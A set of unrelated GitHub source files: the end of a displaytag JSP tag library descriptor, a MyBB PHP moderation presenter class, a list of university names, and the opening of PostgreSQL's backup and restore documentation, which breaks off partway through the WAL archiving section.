</tag>
<tag>
<name>setProperty</name>
<tag-class>org.displaytag.tags.SetPropertyTag</tag-class>
<body-content>JSP</body-content>
<display-name>setProperty</display-name>
<description>
Sets the indicated property on the enclosing Table tag. MUST be nested within a Table tag. As an alternative, you
may create a property file that holds sitewide defaults; see the configuration documentation or the
DisplayPropertiesLoaderServlet javadoc for information.
</description>
<attribute>
<name>name</name>
<required>true</required>
<rtexprvalue>true</rtexprvalue>
<type>java.lang.String</type>
<description>The name of the property to set on the enclosing Table tag.</description>
</attribute>
<attribute>
<name>value</name>
<required>false</required>
<rtexprvalue>true</rtexprvalue>
<type>java.lang.String</type>
<description>
The value to which the property is set. You can also set the property value in the tag body.
</description>
</attribute>
<example>
<![CDATA[
<display:setProperty name="paging.banner.placement" value="bottom" />
or
<display:setProperty name="paging.banner.placement">bottom</display:setProperty>
]]>
</example>
</tag>
<tag>
<name>footer</name>
<tag-class>org.displaytag.tags.TableFooterTag</tag-class>
<body-content>JSP</body-content>
<display-name>footer</display-name>
<description>
Tag wich should be nested into a table tag to provide a custom table footer. The body of the tag is into the tfoot
section of the table. The totals variable, if designated, will be in pageContext in this tag.
</description>
<attribute>
<name>media</name>
<required>false</required>
<rtexprvalue>true</rtexprvalue>
<type>java.lang.String</type>
<description>
Use this attribute to keep a footer from being output during an export. The caption will only render for the
named media type(s) - it won't be added to the table if the current request media is not supported. Can be any
space separated combination of 'html', 'csv', 'xml', 'all', or 'excel'. Defaults to 'all'. See the export page
in the example webapp for more details.
</description>
</attribute>
<example>
<![CDATA[
<display:table name="someList" varTotals="totals">
<display:column property="itemName"/>
<display:column property="price" total="true"/>
<display:footer>
<tr>
<td>Total Bill:</td>
<td><c:out value="${totals.column2}" /></td>
<tr>
</display:footer>
</display:table>
]]>
</example>
</tag>
<tag>
<name>caption</name>
<tag-class>org.displaytag.tags.CaptionTag</tag-class>
<body-content>JSP</body-content>
<display-name>caption</display-name>
<description>
Simple tag which mimics the html caption tag. Use it inside a table tag to display a caption.
</description>
<attribute>
<name>style</name>
<required>false</required>
<rtexprvalue>true</rtexprvalue>
<type>java.lang.String</type>
<description>html pass through attribute.</description>
</attribute>
<attribute>
<name>class</name>
<required>false</required>
<rtexprvalue>true</rtexprvalue>
<type>java.lang.String</type>
<description>html pass through attribute.</description>
</attribute>
<attribute>
<name>id</name>
<required>false</required>
<rtexprvalue>true</rtexprvalue>
<type>java.lang.String</type>
<description>html pass through attribute.</description>
</attribute>
<attribute>
<name>title</name>
<required>false</required>
<rtexprvalue>true</rtexprvalue>
<type>java.lang.String</type>
<description>html pass through attribute.</description>
</attribute>
<attribute>
<name>lang</name>
<required>false</required>
<rtexprvalue>true</rtexprvalue>
<type>java.lang.String</type>
<description>html pass through attribute.</description>
</attribute>
<attribute>
<name>dir</name>
<required>false</required>
<rtexprvalue>true</rtexprvalue>
<type>java.lang.String</type>
<description>html pass through attribute.</description>
</attribute>
<attribute>
<name>media</name>
<required>false</required>
<rtexprvalue>true</rtexprvalue>
<type>java.lang.String</type>
<description>
Use this attribute to keep a caption from being output during an export. The caption will only render for the
named media type(s) - it won't be added to the table if the current request media is not supported. Can be any
space separated combination of 'html', 'csv', 'xml', 'all', or 'excel'. Defaults to 'all'. See the export page
in the example webapp for more details.
</description>
</attribute>
<example>
<![CDATA[
<display:table name="someList">
<display:column property="mail"/>
<display:column property="total"/>
<display:caption>This is the table caption</display:caption>
</display:table>
]]>
</example>
</tag>
</taglib>
|
{
"pile_set_name": "Github"
}
|
<?php
/**
* @author MyBB Group
* @version 2.0.0
* @package mybb/core
* @license http://www.mybb.com/licenses/bsd3 BSD-3
*/
namespace MyBB\Core\Presenters\Moderations;
use Illuminate\Contracts\View\Factory as ViewFactory;
use McCool\LaravelAutoPresenter\BasePresenter;
use MyBB\Core\Content\ContentInterface;
use MyBB\Core\Form\RenderableInterface;
abstract class AbstractModerationPresenter extends BasePresenter implements ModerationPresenterInterface
{
/**
* @var ViewFactory
*/
protected $viewFactory;
/**
* @param object $resource
* @param ViewFactory $viewFactory
*/
public function __construct($resource, ViewFactory $viewFactory)
{
parent::__construct($resource);
$this->viewFactory = $viewFactory;
}
/**
* @return RenderableInterface[]
*/
public function fields()
{
return [];
}
/**
* @return string
*/
public function key() : string
{
return $this->getWrappedObject()->getKey();
}
/**
* @return string
*/
public function name() : string
{
return $this->getWrappedObject()->getName();
}
/**
* @return string
*/
abstract protected function getDescriptionView() : string;
/**
* @param array $contentCollection
* @param ContentInterface $source
* @param ContentInterface $destination
*
* @return string
*/
public function describe(
array $contentCollection,
ContentInterface $source = null,
ContentInterface $destination = null
) : string {
$content = reset($contentCollection);
$count = count($contentCollection);
$type = null;
if ($count > 1) {
$type = trans('content.type.' . $content->getType() . '.plural');
} else {
$type = trans('content.type.' . $content->getType());
}
return $this->viewFactory->make($this->getDescriptionView(), [
'type' => $type,
'title' => $count > 1 ? null : $content->getTitle(),
'url' => $content->getUrl(),
'count' => $count > 1 ? $count : 'a',
'source_title' => $source ? $source->getTitle() : null,
'source_url' => $source ? $source->getUrl() : null,
'destination_title' => $destination ? $destination->getTitle() : null,
'destination_url' => $destination ? $destination->getUrl() : null,
]);
}
}
|
{
"pile_set_name": "Github"
}
|
Northeastern University
Technion
Viswakarma Institute Pune India
UMD
Tufts University
Monash University
Kokshetau Institute of Economics and Management
UOC
Irkutsk State University
Shanghai Jiao Tong University
University of Ilorin Kwara State
Monash University Churchill Australia
UNISA
Fachhochschule FH Salzburg
Tampere University of Technology
University of Oulu
State University of Campinas
Saint Petersburg State University
KUL
University of Sao Paulo
Smolensk State University
Institute of Business Administration Karachi
universidad complutense de madrid
Masdar Institute
University of London
University of Oxford
Tallinn University of Technology
University of Tartu
University of Padua
National Kyiv Shevchenko University
UC Berkeley
University of Wisconsin
Lodz University of Technology
Dniepropetrovsk National University
Dokuz Eylul University
Beijing normal university
University of Piraeus Athens
Universidad de Buenos Aires
SASTRA University
Nagpur University
Duke University
San Francisco State University
Faculdade de Tecnologia do Estado de Sao Paulo
University of Texas at Austin
Universidade do Minho
National University of Sciences and Technology Pakistan
Pontificia universidad catolica de chile
Illinois State University Joliet Junior College
American University in Cairo
Obninsk Technical University of Nuclear Power Engineering Russia
Weizmann Institute of Science
UIPA
University of Washington
Kharkiv State Academy of Municipal Economy Ukraine
University of Sarajevo
Universidad de Los Andes Colombia
University of Colorado at Boulder
Magnitogorsk State Technical University
USC
Simon Fraser University
Columbia University
University of Southern California
University of Warsaw Warsaw University of Technology
University of Oklahoma
University of Pavia Italy
University of Missouri - Columbia
Universidad del Valle de Guatemala
Cranfield University
Czech Technical University in Prague
Illinois Institute of Technology
Penn State University
University of Utah
Universitat Politecnica de Valencia
University of Vienna
University of Puerto Rico - Mayaguez Campus
University of New Haven
University of Washington - Bothell
Drexel University and University of Texas at Austin
University of Helsinki
Michigan State University
University of Michigan
Carnegie Mellon University
Kazan Federal University
Pondicherry University
Nanyang Technological University
Slovak University of Technology
NYU
University of Debrecen
California State University San Bernardino
Laurentian University
University of Cambridge
Payame Noor University
Middle East Technical University
Faculty of Technical Sciences Novi Sad Serbia
University of Gothenburg
Polytechnic University of Timisoara
University of Hawaii
Belarusian State University
Haaga-Helia university of applied sciences
JADAVPUR UNIVERSITY
Gauhati University
Universidad de Buenos Aires
King Mongkuts University of Technology Thonburi
Universidad de la Sabana
Vietnam Forestry University
Hanoi University of Science and Technology
Bowling Green State University
Old Dominion University
State University of New York College at Oswego
Jawaharlal Nehru Technological University
Universite Catholique de Louvain
Boston University
The University of Manchester
Fachhochschule Dusseldorf
Simon Bolivar University
Indiana University at Bloomington
RPI
University of Ottawa
BITS Pilani
Transilvania University
EM Lyon
Universidad Central de Venezuela
Universidade Federal da Paraiba
Budapest University of Technology and Economics
Moscow Institute of Physics & Technology
Saint Petersburg State University of Aerospace Instrumentation
North Central College
Stanford
National University of Engineering
Monash
Federal University of Campina Grande
Universidade Federal do Rio Grande do Sul
Universidad Nacional Autonoma de Mexico
University of New South Wales
Harvard Business School
University of Tehran
Old Dominion University
Kyiv Unisersity of Oriental Language
Babcock University
University of Essex
Kharkiv National University of Radio Electronics
Kaunas Technology University
University of Buenos Aires
University of Jaffna
R V College of Engineering
Beloit College
UCLA
University of Chicago
University of Sciences and Technology of Oran. Mohamed Boudiaf
Zagazig University
University of Alberta
Belorussian State University
Rensselaer Polytechnic University
University of Florida
University of Kerala
Politecnico di Milano
Vilnius Gediminas Technical University
Madras university
Bharthidasan University
Universidade Tecnica de Lisboa
Stellenbosch University
University of Pennsylvania
National Institute of Technology Jalandhar
Universidad ICESI
Virginia Tech
arizona state university
Universidad del Valle de Guatemala
Mykolas Romeris University
Groep T University
Universidad Nacional de Colombia
Saint-Petersburg Polytechnic Univesity
Northern Alberta Institute of Technology
Wayne State
Universidad Nacional Costa Rica
Marietta College
Northwestern University
Grandville
Portland State University
Oregon Institute of Technology
Malayer Azad University
Instituto Tecnologico de Santo Domingo
Ben Gurion University
Distant University of Hagen
Stanford
Universidad Complutense de Madrid
University of Moratuwa
University of the Punjab Lahore
Federal University of Minas Gerais
Hacettepe University
Ahmet Yesevi University
Sonoma State University
San Jose State University
De Anza College
Baylor University
IT College of Estonia
Stonehill College
National Technical University of Ukraine
Kyiv Polytechnic Institute
UIUC
University Munich
Ecole centrale de PARIS
UNIVERSIDAD DE Buenos Aires
Kaunas university of technology
University of West Florida
Technical University of Cluj-Napoca
Spiru Haret University
Russell Sage College
Franklin Pierce College
Farmingdale State University
KSTU
University of the Witwatersrand
University of Pretoria
Warsaw University
Western Governors University
university of padua
Kalamazoo College
Georgetown University Law Center
University of Nebraska - Lincoln
University of Pennsylvania
University of Kansas
University of Central Oklahoma
Universidad de Oriente
Politehnica University Bucharest
Visvesvaraya Institute of Technology
Lviv Polytechnic National University
IIT KANPUR
Tallinn University of Technology
Lviv University
Universidade de Sao Paulo
Tallinn University
University of Waterloo
University of Belgrade
University of Hamburg
University of Tuebingen
Kyiv Polytechnical Institute
Monterrey Institute of Technology and Higher Education
National University of Kyiv-Mohyla Academy
Escuela Superior Politecnica del Litoral
Athens Information Technology
Tanta University
Elon University
University of Evora
Drexel
Stevens Institute of Technoloogy
California Polytechnic State University of San Luis Obispo
Jawaharlal Nehru University
National Taiwan University
university of Patras
George Mason University
UCSD
Erhvervsakademi Sydvest
Academy of Fine Arts Warsaw Poland
K-State
Washington State University
University of Toronto
Institute of Business and Modern Technologies
Dartmouth
Georgia State University
University of Arkansas
Indian Institute of Technology
Banaras Hindu University
Institut Superieur de technologies
University of Stellenbosch
Universidad Anahuac Mayab
Ramapo College of New Jersey
Universidad Cooperativa de Colombia
Universidade Federal do Rio de Janeiro
University of Manchester
University of Athens
University of Erlangen-Nuremberg
Moscow Engineering-Physics Institute
Tel Aviv University
Florida Atlantic University
Embry-Riddle Aeronautical University
University of Notre Dame
Jordan University of Science and Technology
Saarland University
Matematicki fakultet Beograd
University of Greifswald
UW Madison
University of Akron
Kent State University
Xavier University
University of Cincinnati
City of Westminster College
University of Dallas
University of Texas
University of Twente
University of Connecticut
Universidad de San Carlos de Guatemala
Northwestern University
Lisandro Alvarado
Universidad Tecnologica Boliviana
University of Malaya
federal institute of tecnology and education from southeastern Minas Gerais
Weber State
IIIT Hyderabad
Rochester Institute of Technology
University of Salamanca
Missouri University of Science and Technology
Hebrew University
International Institute of Information Technology Hyderabad
Moscow State University
University of mining and metallurgy
Technical University of Cluj-Napoca
Belgrade University
kansas state university
Universidad de Valladolid
Indiana University
Purdue University Indianapolis
IUPUI
University College Dublin
University of Birmingham
University of Amsterdam
Dnipropetrovsk National University
University of Nebraska
University of Warsaw
University of Pretoria
AGH University of Science and Technology
IU
MSU
University of Malaga
IUAV Venezia
Los Medanos Community College
Indian School of Mines Dhanbad
University of Mumbai
South Federal University
Universidad de Castilla La Mancha
The Jerusalem collage of engineering
PUCMM
The University of Latvia
University of Delaware
Vilnius University
Universidade Federal de Santa Catarina
Tarrant County College
Arizona State University
Bangalore University
Universitas Gadjah Mada
allama iqbal open university islamabad
Indian Institute of Technology Kharagpur India
The University of South Africa
Virginia Commonwealth University
Sharif University of Technology
NIT ROURKELA
Muskegon Community College
|
{
"pile_set_name": "Github"
}
|
<!-- doc/src/sgml/backup.sgml -->
<chapter id="backup">
<title>Backup and Restore</title>
<indexterm zone="backup"><primary>backup</></>
<para>
As with everything that contains valuable data, <productname>PostgreSQL</>
databases should be backed up regularly. While the procedure is
essentially simple, it is important to have a clear understanding of
the underlying techniques and assumptions.
</para>
<para>
There are three fundamentally different approaches to backing up
<productname>PostgreSQL</> data:
<itemizedlist>
<listitem><para><acronym>SQL</> dump</para></listitem>
<listitem><para>File system level backup</para></listitem>
<listitem><para>Continuous archiving</para></listitem>
</itemizedlist>
Each has its own strengths and weaknesses; each is discussed in turn
in the following sections.
</para>
<sect1 id="backup-dump">
<title><acronym>SQL</> Dump</title>
<para>
The idea behind this dump method is to generate a file with SQL
commands that, when fed back to the server, will recreate the
database in the same state as it was at the time of the dump.
<productname>PostgreSQL</> provides the utility program
<xref linkend="app-pgdump"> for this purpose. The basic usage of this
command is:
<synopsis>
pg_dump <replaceable class="parameter">dbname</replaceable> > <replaceable class="parameter">outfile</replaceable>
</synopsis>
As you see, <application>pg_dump</> writes its result to the
standard output. We will see below how this can be useful.
While the above command creates a text file, <application>pg_dump</>
can create files in other formats that allow for parallelism and more
fine-grained control of object restoration.
</para>
<para>
<application>pg_dump</> is a regular <productname>PostgreSQL</>
client application (albeit a particularly clever one). This means
that you can perform this backup procedure from any remote host that has
access to the database. But remember that <application>pg_dump</>
does not operate with special permissions. In particular, it must
have read access to all tables that you want to back up, so in order
to back up the entire database you almost always have to run it as a
database superuser. (If you do not have sufficient privileges to back up
the entire database, you can still back up portions of the database to which
you do have access using options such as
<option>-n <replaceable>schema</replaceable></option>
or <option>-t <replaceable>table</replaceable></option>.)
</para>
<para>
To specify which database server <application>pg_dump</> should
contact, use the command line options <option>-h
<replaceable>host</></> and <option>-p <replaceable>port</></>. The
default host is the local host or whatever your
<envar>PGHOST</envar> environment variable specifies. Similarly,
the default port is indicated by the <envar>PGPORT</envar>
environment variable or, failing that, by the compiled-in default.
(Conveniently, the server will normally have the same compiled-in
default.)
</para>
<para>
Like any other <productname>PostgreSQL</> client application,
<application>pg_dump</> will by default connect with the database
user name that is equal to the current operating system user name. To override
this, either specify the <option>-U</option> option or set the
environment variable <envar>PGUSER</envar>. Remember that
<application>pg_dump</> connections are subject to the normal
client authentication mechanisms (which are described in <xref
linkend="client-authentication">).
</para>
<para>
An important advantage of <application>pg_dump</> over the other backup
methods described later is that <application>pg_dump</>'s output can
generally be re-loaded into newer versions of <productname>PostgreSQL</>,
whereas file-level backups and continuous archiving are both extremely
server-version-specific. <application>pg_dump</> is also the only method
that will work when transferring a database to a different machine
architecture, such as going from a 32-bit to a 64-bit server.
</para>
<para>
Dumps created by <application>pg_dump</> are internally consistent,
meaning, the dump represents a snapshot of the database at the time
<application>pg_dump</> began running. <application>pg_dump</> does not
block other operations on the database while it is working.
(Exceptions are those operations that need to operate with an
exclusive lock, such as most forms of <command>ALTER TABLE</command>.)
</para>
<sect2 id="backup-dump-restore">
<title>Restoring the Dump</title>
<para>
Text files created by <application>pg_dump</> are intended to
be read in by the <application>psql</application> program. The
general command form to restore a dump is
<synopsis>
psql <replaceable class="parameter">dbname</replaceable> < <replaceable class="parameter">infile</replaceable>
</synopsis>
where <replaceable class="parameter">infile</replaceable> is the
file output by the <application>pg_dump</> command. The database <replaceable
class="parameter">dbname</replaceable> will not be created by this
command, so you must create it yourself from <literal>template0</>
before executing <application>psql</> (e.g., with
<literal>createdb -T template0 <replaceable
class="parameter">dbname</></literal>). <application>psql</>
supports options similar to <application>pg_dump</> for specifying
the database server to connect to and the user name to use. See
the <xref linkend="app-psql"> reference page for more information.
Non-text file dumps are restored using the <xref
linkend="app-pgrestore"> utility.
</para>
<para>
Before restoring an SQL dump, all the users who own objects or were
granted permissions on objects in the dumped database must already
exist. If they do not, the restore will fail to recreate the
objects with the original ownership and/or permissions.
(Sometimes this is what you want, but usually it is not.)
</para>
<para>
By default, the <application>psql</> script will continue to
execute after an SQL error is encountered. You might wish to run
<application>psql</application> with
the <literal>ON_ERROR_STOP</> variable set to alter that
behavior and have <application>psql</application> exit with an
exit status of 3 if an SQL error occurs:
<programlisting>
psql --set ON_ERROR_STOP=on dbname < infile
</programlisting>
Either way, you will only have a partially restored database.
Alternatively, you can specify that the whole dump should be
restored as a single transaction, so the restore is either fully
completed or fully rolled back. This mode can be specified by
passing the <option>-1</> or <option>--single-transaction</>
command-line options to <application>psql</>. When using this
mode, be aware that even a minor error can rollback a
restore that has already run for many hours. However, that might
still be preferable to manually cleaning up a complex database
after a partially restored dump.
</para>
<para>
The ability of <application>pg_dump</> and <application>psql</> to
write to or read from pipes makes it possible to dump a database
directly from one server to another, for example:
<programlisting>
pg_dump -h <replaceable>host1</> <replaceable>dbname</> | psql -h <replaceable>host2</> <replaceable>dbname</>
</programlisting>
</para>
<important>
<para>
The dumps produced by <application>pg_dump</> are relative to
<literal>template0</>. This means that any languages, procedures,
etc. added via <literal>template1</> will also be dumped by
<application>pg_dump</>. As a result, when restoring, if you are
using a customized <literal>template1</>, you must create the
empty database from <literal>template0</>, as in the example
above.
</para>
</important>
<para>
After restoring a backup, it is wise to run <xref
linkend="sql-analyze"> on each
database so the query optimizer has useful statistics;
see <xref linkend="vacuum-for-statistics">
and <xref linkend="autovacuum"> for more information.
For more advice on how to load large amounts of data
into <productname>PostgreSQL</> efficiently, refer to <xref
linkend="populate">.
</para>
</sect2>
<sect2 id="backup-dump-all">
<title>Using <application>pg_dumpall</></title>
<para>
<application>pg_dump</> dumps only a single database at a time,
and it does not dump information about roles or tablespaces
(because those are cluster-wide rather than per-database).
To support convenient dumping of the entire contents of a database
cluster, the <xref linkend="app-pg-dumpall"> program is provided.
<application>pg_dumpall</> backs up each database in a given
cluster, and also preserves cluster-wide data such as role and
tablespace definitions. The basic usage of this command is:
<synopsis>
pg_dumpall > <replaceable>outfile</>
</synopsis>
The resulting dump can be restored with <application>psql</>:
<synopsis>
psql -f <replaceable class="parameter">infile</replaceable> postgres
</synopsis>
(Actually, you can specify any existing database name to start from,
but if you are loading into an empty cluster then <literal>postgres</>
should usually be used.) It is always necessary to have
database superuser access when restoring a <application>pg_dumpall</>
dump, as that is required to restore the role and tablespace information.
If you use tablespaces, make sure that the tablespace paths in the
dump are appropriate for the new installation.
</para>
<para>
<application>pg_dumpall</> works by emitting commands to re-create
roles, tablespaces, and empty databases, then invoking
<application>pg_dump</> for each database. This means that while
each database will be internally consistent, the snapshots of
different databases are not synchronized.
</para>
<para>
Cluster-wide data can be dumped alone using the
<application>pg_dumpall</> <option>--globals-only</> option.
This is necessary to fully backup the cluster if running the
<application>pg_dump</> command on individual databases.
</para>
</sect2>
<sect2 id="backup-dump-large">
<title>Handling Large Databases</title>
<para>
Some operating systems have maximum file size limits that cause
problems when creating large <application>pg_dump</> output files.
Fortunately, <application>pg_dump</> can write to the standard
output, so you can use standard Unix tools to work around this
potential problem. There are several possible methods:
</para>
<formalpara>
<title>Use compressed dumps.</title>
<para>
You can use your favorite compression program, for example
<application>gzip</application>:
<programlisting>
pg_dump <replaceable class="parameter">dbname</replaceable> | gzip > <replaceable class="parameter">filename</replaceable>.gz
</programlisting>
Reload with:
<programlisting>
gunzip -c <replaceable class="parameter">filename</replaceable>.gz | psql <replaceable class="parameter">dbname</replaceable>
</programlisting>
or:
<programlisting>
cat <replaceable class="parameter">filename</replaceable>.gz | gunzip | psql <replaceable class="parameter">dbname</replaceable>
</programlisting>
</para>
</formalpara>
<formalpara>
<title>Use <command>split</>.</title>
<para>
The <command>split</command> command
allows you to split the output into smaller files that are
acceptable in size to the underlying file system. For example, to
make chunks of 1 megabyte:
<programlisting>
pg_dump <replaceable class="parameter">dbname</replaceable> | split -b 1m - <replaceable class="parameter">filename</replaceable>
</programlisting>
Reload with:
<programlisting>
cat <replaceable class="parameter">filename</replaceable>* | psql <replaceable class="parameter">dbname</replaceable>
</programlisting>
</para>
</formalpara>
<formalpara>
<title>Use <application>pg_dump</>'s custom dump format.</title>
<para>
If <productname>PostgreSQL</productname> was built on a system with the
<application>zlib</> compression library installed, the custom dump
format will compress data as it writes it to the output file. This will
produce dump file sizes similar to using <command>gzip</command>, but it
has the added advantage that tables can be restored selectively. The
following command dumps a database using the custom dump format:
<programlisting>
pg_dump -Fc <replaceable class="parameter">dbname</replaceable> > <replaceable class="parameter">filename</replaceable>
</programlisting>
A custom-format dump is not a script for <application>psql</>, but
instead must be restored with <application>pg_restore</>, for example:
<programlisting>
pg_restore -d <replaceable class="parameter">dbname</replaceable> <replaceable class="parameter">filename</replaceable>
</programlisting>
See the <xref linkend="app-pgdump"> and <xref
linkend="app-pgrestore"> reference pages for details.
</para>
</formalpara>
<para>
For very large databases, you might need to combine <command>split</>
with one of the other two approaches.
</para>
<formalpara>
<title>Use <application>pg_dump</>'s parallel dump feature.</title>
<para>
To speed up the dump of a large database, you can use
<application>pg_dump</application>'s parallel mode. This will dump
multiple tables at the same time. You can control the degree of
parallelism with the <command>-j</command> parameter. Parallel dumps
are only supported for the "directory" archive format.
<programlisting>
pg_dump -j <replaceable class="parameter">num</replaceable> -F d -f <replaceable class="parameter">out.dir</replaceable> <replaceable class="parameter">dbname</replaceable>
</programlisting>
You can use <command>pg_restore -j</command> to restore a dump in parallel.
This will work for any archive of either the "custom" or the "directory"
archive mode, whether or not it has been created with <command>pg_dump -j</command>.
</para>
</formalpara>
</sect2>
</sect1>
<sect1 id="backup-file">
<title>File System Level Backup</title>
<para>
An alternative backup strategy is to directly copy the files that
<productname>PostgreSQL</> uses to store the data in the database;
<xref linkend="creating-cluster"> explains where these files
are located. You can use whatever method you prefer
for doing file system backups; for example:
<programlisting>
tar -cf backup.tar /usr/local/pgsql/data
</programlisting>
</para>
<para>
There are two restrictions, however, which make this method
impractical, or at least inferior to the <application>pg_dump</>
method:
<orderedlist>
<listitem>
<para>
The database server <emphasis>must</> be shut down in order to
get a usable backup. Half-way measures such as disallowing all
connections will <emphasis>not</emphasis> work
(in part because <command>tar</command> and similar tools do not take
an atomic snapshot of the state of the file system,
but also because of internal buffering within the server).
Information about stopping the server can be found in
<xref linkend="server-shutdown">. Needless to say, you
also need to shut down the server before restoring the data.
</para>
</listitem>
<listitem>
<para>
If you have dug into the details of the file system layout of the
database, you might be tempted to try to back up or restore only certain
individual tables or databases from their respective files or
directories. This will <emphasis>not</> work because the
information contained in these files is not usable without
the commit log files,
<filename>pg_clog/*</filename>, which contain the commit status of
all transactions. A table file is only usable with this
information. Of course it is also impossible to restore only a
table and the associated <filename>pg_clog</filename> data
because that would render all other tables in the database
cluster useless. So file system backups only work for complete
backup and restoration of an entire database cluster.
</para>
</listitem>
</orderedlist>
</para>
<para>
An alternative file-system backup approach is to make a
<quote>consistent snapshot</quote> of the data directory, if the
file system supports that functionality (and you are willing to
trust that it is implemented correctly). The typical procedure is
to make a <quote>frozen snapshot</> of the volume containing the
database, then copy the whole data directory (not just parts, see
above) from the snapshot to a backup device, then release the frozen
snapshot. This will work even while the database server is running.
However, a backup created in this way saves
the database files in a state as if the database server was not
properly shut down; therefore, when you start the database server
on the backed-up data, it will think the previous server instance
crashed and will replay the WAL log. This is not a problem; just
be aware of it (and be sure to include the WAL files in your backup).
You can perform a <command>CHECKPOINT</command> before taking the
snapshot to reduce recovery time.
</para>
<para>
If your database is spread across multiple file systems, there might not
be any way to obtain exactly-simultaneous frozen snapshots of all
the volumes. For example, if your data files and WAL log are on different
disks, or if tablespaces are on different file systems, it might
not be possible to use snapshot backup because the snapshots
<emphasis>must</> be simultaneous.
Read your file system documentation very carefully before trusting
the consistent-snapshot technique in such situations.
</para>
<para>
If simultaneous snapshots are not possible, one option is to shut down
the database server long enough to establish all the frozen snapshots.
Another option is to perform a continuous archiving base backup (<xref
linkend="backup-base-backup">) because such backups are immune to file
system changes during the backup. This requires enabling continuous
archiving just during the backup process; restore is done using
continuous archive recovery (<xref linkend="backup-pitr-recovery">).
</para>
<para>
Another option is to use <application>rsync</> to perform a file
system backup. This is done by first running <application>rsync</>
while the database server is running, then shutting down the database
server long enough to do an <command>rsync --checksum</>.
(<option>--checksum</> is necessary because <command>rsync</> only
has file modification-time granularity of one second.) The
second <application>rsync</> will be quicker than the first,
because it has relatively little data to transfer, and the end result
will be consistent because the server was down. This method
allows a file system backup to be performed with minimal downtime.
</para>
<para>
Note that a file system backup will typically be larger
than an SQL dump. (<application>pg_dump</application> does not need to dump
the contents of indexes for example, just the commands to recreate
them.) However, taking a file system backup might be faster.
</para>
</sect1>
<sect1 id="continuous-archiving">
<title>Continuous Archiving and Point-in-Time Recovery (PITR)</title>
<indexterm zone="backup">
<primary>continuous archiving</primary>
</indexterm>
<indexterm zone="backup">
<primary>point-in-time recovery</primary>
</indexterm>
<indexterm zone="backup">
<primary>PITR</primary>
</indexterm>
<para>
At all times, <productname>PostgreSQL</> maintains a
<firstterm>write ahead log</> (WAL) in the <filename>pg_xlog/</>
subdirectory of the cluster's data directory. The log records
every change made to the database's data files. This log exists
primarily for crash-safety purposes: if the system crashes, the
database can be restored to consistency by <quote>replaying</> the
log entries made since the last checkpoint. However, the existence
of the log makes it possible to use a third strategy for backing up
databases: we can combine a file-system-level backup with backup of
the WAL files. If recovery is needed, we restore the file system backup and
then replay from the backed-up WAL files to bring the system to a
current state. This approach is more complex to administer than
either of the previous approaches, but it has some significant
benefits:
<itemizedlist>
<listitem>
<para>
We do not need a perfectly consistent file system backup as the starting point.
Any internal inconsistency in the backup will be corrected by log
replay (this is not significantly different from what happens during
crash recovery). So we do not need a file system snapshot capability,
just <application>tar</> or a similar archiving tool.
</para>
</listitem>
<listitem>
<para>
Since we can combine an indefinitely long sequence of WAL files
for replay, continuous backup can be achieved simply by continuing to archive
the WAL files. This is particularly valuable for large databases, where
it might not be convenient to take a full backup frequently.
</para>
</listitem>
<listitem>
<para>
It is not necessary to replay the WAL entries all the
way to the end. We could stop the replay at any point and have a
consistent snapshot of the database as it was at that time. Thus,
this technique supports <firstterm>point-in-time recovery</>: it is
possible to restore the database to its state at any time since your base
backup was taken.
</para>
</listitem>
<listitem>
<para>
If we continuously feed the series of WAL files to another
machine that has been loaded with the same base backup file, we
have a <firstterm>warm standby</> system: at any point we can bring up
the second machine and it will have a nearly-current copy of the
database.
</para>
</listitem>
</itemizedlist>
</para>
<note>
<para>
<application>pg_dump</application> and
<application>pg_dumpall</application> do not produce file-system-level
backups and cannot be used as part of a continuous-archiving solution.
Such dumps are <emphasis>logical</> and do not contain enough
information to be used by WAL replay.
</para>
</note>
<para>
As with the plain file-system-backup technique, this method can only
support restoration of an entire database cluster, not a subset.
Also, it requires a lot of archival storage: the base backup might be bulky,
and a busy system will generate many megabytes of WAL traffic that
have to be archived. Still, it is the preferred backup technique in
many situations where high reliability is needed.
</para>
<para>
To recover successfully using continuous archiving (also called
<quote>online backup</> by many database vendors), you need a continuous
sequence of archived WAL files that extends back at least as far as the
start time of your backup. So to get started, you should set up and test
your procedure for archiving WAL files <emphasis>before</> you take your
first base backup. Accordingly, we first discuss the mechanics of
archiving WAL files.
</para>
<sect2 id="backup-archiving-wal">
<title>Setting Up WAL Archiving</title>
<para>
In an abstract sense, a running <productname>PostgreSQL</> system
produces an indefinitely long sequence of WAL records. The system
physically divides this sequence into WAL <firstterm>segment
files</>, which are normally 16MB apiece (although the segment size
can be altered when building <productname>PostgreSQL</>). The segment
files are given numeric names that reflect their position in the
abstract WAL sequence. When not using WAL archiving, the system
normally creates just a few segment files and then
<quote>recycles</> them by renaming no-longer-needed segment files
to higher segment numbers. It's assumed that segment files whose
contents precede the checkpoint-before-last are no longer of
interest and can be recycled.
</para>
<para>
When archiving WAL data, we need to capture the contents of each segment
file once it is filled, and save that data somewhere before the segment
file is recycled for reuse. Depending on the application and the
available hardware, there could be many different ways of <quote>saving
the data somewhere</>: we could copy the segment files to an NFS-mounted
directory on another machine, write them onto a tape drive (ensuring that
you have a way of identifying the original name of each file), or batch
them together and burn them onto CDs, or something else entirely. To
provide the database administrator with flexibility,
<productname>PostgreSQL</> tries not to make any assumptions about how
the archiving will be done. Instead, <productname>PostgreSQL</> lets
the administrator specify a shell command to be executed to copy a
completed segment file to wherever it needs to go. The command could be
as simple as a <literal>cp</>, or it could invoke a complex shell
script — it's all up to you.
</para>
<para>
To enable WAL archiving, set the <xref linkend="guc-wal-level">
configuration parameter to <literal>replica</> or higher,
<xref linkend="guc-archive-mode"> to <literal>on</>,
and specify the shell command to use in the <xref
linkend="guc-archive-command"> configuration parameter. In practice
these settings will always be placed in the
<filename>postgresql.conf</filename> file.
In <varname>archive_command</>,
<literal>%p</> is replaced by the path name of the file to
archive, while <literal>%f</> is replaced by only the file name.
(The path name is relative to the current working directory,
i.e., the cluster's data directory.)
Use <literal>%%</> if you need to embed an actual <literal>%</>
character in the command. The simplest useful command is something
like:
<programlisting>
archive_command = 'test ! -f /mnt/server/archivedir/%f && cp %p /mnt/server/archivedir/%f' # Unix
archive_command = 'copy "%p" "C:\\server\\archivedir\\%f"' # Windows
</programlisting>
which will copy archivable WAL segments to the directory
<filename>/mnt/server/archivedir</>. (This is an example, not a
recommendation, and might not work on all platforms.) After the
<literal>%p</> and <literal>%f</> parameters have been replaced,
the actual command executed might look like this:
<programlisting>
test ! -f /mnt/server/archivedir/00000001000000A900000065 && cp pg_xlog/00000001000000A900000065 /mnt/server/archivedir/00000001000000A900000065
</programlisting>
A similar command will be generated for each new file to be archived.
</para>
<para>
The archive command will be executed under the ownership of the same
